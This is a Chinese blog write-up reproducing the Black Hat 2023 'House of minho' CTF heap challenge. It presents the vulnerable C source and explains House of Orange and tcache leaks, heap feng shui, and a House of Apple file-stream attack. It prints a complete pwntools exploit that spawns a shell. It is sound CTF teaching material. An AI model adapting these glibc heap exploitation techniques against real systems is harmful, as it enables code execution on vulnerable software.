1036 字
5 分钟
Black Hat 2023 House of minho复现报告

homie发的堆题,说是堆风水,挺难的。

题目描述#

题目给了源码和附件,libc给的是2.35, 我的环境是2.36,exp的偏移可能不一样。

Source如下

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define SIZE_SMALL 0x40
#define SIZE_BIG 0x80

char *g_buf;

int getint(const char *msg) {
	int val;
	printf("%s", msg);
	if (scanf("%d%*c", &val) != 1) exit(1);
	return val;
}

int main() {
	setvbuf(stdout, NULL, _IONBF, 0);
	while (1) {
		puts("1. new\n2. show\n3. delete");
		switch (getint("> ")) {
		case 1: { /* new */
			if (g_buf) {
			puts("[-] Buffer in use");
			break;
		}

			if (getint("Size [1=small / 2=big]: ") == 1) {
				g_buf = (char*)malloc(SIZE_SMALL);
			} else {
				g_buf = (char*)malloc(SIZE_BIG);
			}

			printf("Data: ");
			read(STDIN_FILENO, g_buf, SIZE_BIG); //Heap overflow here-->House of Orange leak libcbase
			g_buf[strcspn(g_buf, "\n")] = '\0';
			break;
		}

	case 2: { /* show */
		if (!g_buf) {
			puts("[-] Empty buffer");
		} else {
			printf("Data: %s\n", g_buf); //leak
		}
		break;
	}

  
	case 3: { /* delete */
		if (!g_buf) {
			puts("[-] Empty buffer");
		} else {
			free(g_buf);
			g_buf = NULL;
		}
		break;
	}

	default:
		puts("[+] Bye!");
		return 0;
		}
	}
}

题面很简单,能找到的漏洞有两个。

  • read(STDIN_FILENO, g_buf, SIZE_BIG);:此处有堆溢出漏洞,当我们new一个SMALL的chunk时,仍然写入BIG大小的数据,有0x40的溢出。可以覆盖到下一个堆块的size
  • 调用了scanf,但未设置setvbuf(stdin, 0),那么scanf可能发生以下调用
p = malloc(0x800);
p = realloc(p, 0x1000);
p = realloc(p, 0x2000);
free(p);

信息泄露#

Libc泄露#

LibcBase采用House of Orange的技巧进行泄露。利用漏洞中的堆溢出,我们可以改到Top Chunk的Size位,改小了之后,申请一个大的堆块就可以把Top Chunk放入Unsorted BinUnsorted Bin 的第一个节点必定指向main_arena结构体,调试可得libcbase。

这里我们改下的Topchunk需要对齐内存页,也就是必须是000结尾,我们可以用scanf的调用完成这一操作

#House of Orange leak libc address

hijacktop = cyclic(0x48) + p64(0xd11)

new(1, hijacktop)

io.sendlineafter(b'> ', b'0'*0xfff + b'2')

delete()

new(1, b'a' * 0x50)

show()

io.recvuntil(b'Data: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')

leak = u64(io.recv(6).ljust(8, b'\x00'))

io.success(f"Leak: {hex(leak)}")

libc_base = leak - 0x1d2cc0

io.success(f"Libc base: {hex(libc_base)}")

Heap 基地址泄露#

利用tcache对fd的加密,可以得知,第一块tcache的fd是0,那么加密后为0^(heapbase >> 12) 直接show出来即可

delete()

new(2, b'a')

delete()

new(1, b'aaaa')

delete()

new(2, b'aaaa')

delete()

new(1, b'b' * 0x50)

show()

io.recvuntil(b'b'*0x50)

heap_base = u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) << 12

log.success(f"Heap base: {hex(heap_base)}")

堆风水#

风水链

  • 提前使用scanf调用malloc污染LAST 0x00 Chunk
  • Unlink拓展溢出距离
  • 伪造Unsorted Bin
  • Unsorted Bin转移到Small Bin
  • 伪造3个0x90Small Bin
  • 命中Small bin全部进入tcache
  • tcache attack->house of apple
delete()

unlink = cyclic(0x10) + p64(0) + p64(0x31) + p64(heap_base+0x2c0) * 2 + cyclic(0x10) + p64(0x30) + p64(0xd00)

new(1, unlink)

delete()

smallbin = cyclic(0x50) + p64(0x90) + p64(0x10) + p64(0x00) + p64(0x11)

new(2, smallbin)

delete()

new(1, flat({

0x10: 0x0,

0x18: 0x91,

0x20: heap_base + 0x380,

0x28: libc_base + 0x1d2cc0,

}, filler=b'\x00'))

io.sendlineafter(b'> ', b'0'*0xfff + b'2')

delete()

new(1, flat({

0x10 : {

0x00: 0,

0x08: 0x91,

0x10: heap_base + 0x2c0,

0x18: heap_base+0x2c0 + 0x30,

0x30: 0,

0x38: 0x91,

0x40: heap_base + 0x2c0,

0x48: heap_base + 0x2c0 + 0x50,

0x50: 0,

0x58: 0x91,

0x60: heap_base + 0x2c0,

0x68: libc_base + 0x1d2cc0 + 128,

},

}, filler=b'\x00'))

delete()

new(2, b'aaaa')

delete()

House of apple 用的板子。

完整EXP如下:

from pwn import *

context(arch = 'x86_64', os = 'linux', log_level = 'info', terminal = ['tmux', 'splitw', '-h'])

  

def debug():

gdb.attach(io)

pause()

  

#IO

isRemote = 0

HOST = 'x'

PORT = 111

attachmentPath = './run'

libcPath = './libc.so.6'

if isRemote:

io = remote(HOST, PORT)

else:

io = process(attachmentPath)

elf = ELF(attachmentPath)

libc = ELF(libcPath)

  

def menu(choice):

io.sendlineafter(b'> ', str(choice).encode())

  

def new(size, content):

menu(1)

io.sendlineafter(b'Size [1=small / 2=big]: ', str(size).encode())

io.sendafter(b'Data: ', content)

  

def show():

menu(2)

  

def delete():

menu(3)

#Poision last chunk

io.sendlineafter(b'> ', b'0'*0xd58 + b'3')

#House of Orange leak libc address

debug()

hijacktop = cyclic(0x48) + p64(0xd11)

new(1, hijacktop)

io.sendlineafter(b'> ', b'0'*0xfff + b'2')

delete()

new(1, b'a' * 0x50)

show()

io.recvuntil(b'Data: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')

leak = u64(io.recv(6).ljust(8, b'\x00'))

io.success(f"Leak: {hex(leak)}")

libc_base = leak - 0x1d2cc0

io.success(f"Libc base: {hex(libc_base)}")

#repair size

delete()

new(1, b'a' * 0x48 + p64(0xcf1))

#leak heap

delete()

new(2, b'a')

delete()

new(1, b'aaaa')

delete()

new(2, b'aaaa')

delete()

new(1, b'b' * 0x50)

show()

io.recvuntil(b'b'*0x50)

heap_base = u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) << 12

log.success(f"Heap base: {hex(heap_base)}")

#fengshui

delete()

unlink = cyclic(0x10) + p64(0) + p64(0x31) + p64(heap_base+0x2c0) * 2 + cyclic(0x10) + p64(0x30) + p64(0xd00)

new(1, unlink)

delete()

smallbin = cyclic(0x50) + p64(0x90) + p64(0x10) + p64(0x00) + p64(0x11)

new(2, smallbin)

delete()

new(1, flat({

0x10: 0x0,

0x18: 0x91,

0x20: heap_base + 0x380,

0x28: libc_base + 0x1d2cc0,

}, filler=b'\x00'))

io.sendlineafter(b'> ', b'0'*0xfff + b'2')

delete()

new(1, flat({

0x10 : {

0x00: 0,

0x08: 0x91,

0x10: heap_base + 0x2c0,

0x18: heap_base+0x2c0 + 0x30,

0x30: 0,

0x38: 0x91,

0x40: heap_base + 0x2c0,

0x48: heap_base + 0x2c0 + 0x50,

0x50: 0,

0x58: 0x91,

0x60: heap_base + 0x2c0,

0x68: libc_base + 0x1d2cc0 + 128,

},

}, filler=b'\x00'))

delete()

new(2, b'aaaa')

delete()

_IO_list_all = libc_base + libc.symbols['_IO_list_all']

system_addr = libc_base + libc.symbols['system']

print(hex(system_addr))

fake_file = heap_base + 0x2e0

new(1, b"a"*0x10+p64(0) + p64(0x71) + p64((heap_base + 0x2d0 + 0x70)^((heap_base)>>12)))

delete()

new(2, flat({

0x0+0x10: b" sh;",

0x28+0x10: system_addr,

0x68: 0x71,

0x70: _IO_list_all ^((heap_base)>>12),

}, filler=b"\x00"))

delete()

new(2, flat({

0xa0-0x60: fake_file-0x10,

0xd0-0x60: fake_file+0x28-0x68,

0xD8-0x60: libc_base + libc.symbols['_IO_wfile_jumps'],

}, filler=b"\x00"))

delete()

new(2, p64(fake_file))

io.interactive()
Black Hat 2023 House of minho复现报告
https://k4per-blog.xyz/posts/black-hat-2023-house-of-minho复现报告/
作者
K4per
发布于
2025-03-30
许可协议
CC BY-NC-SA 4.0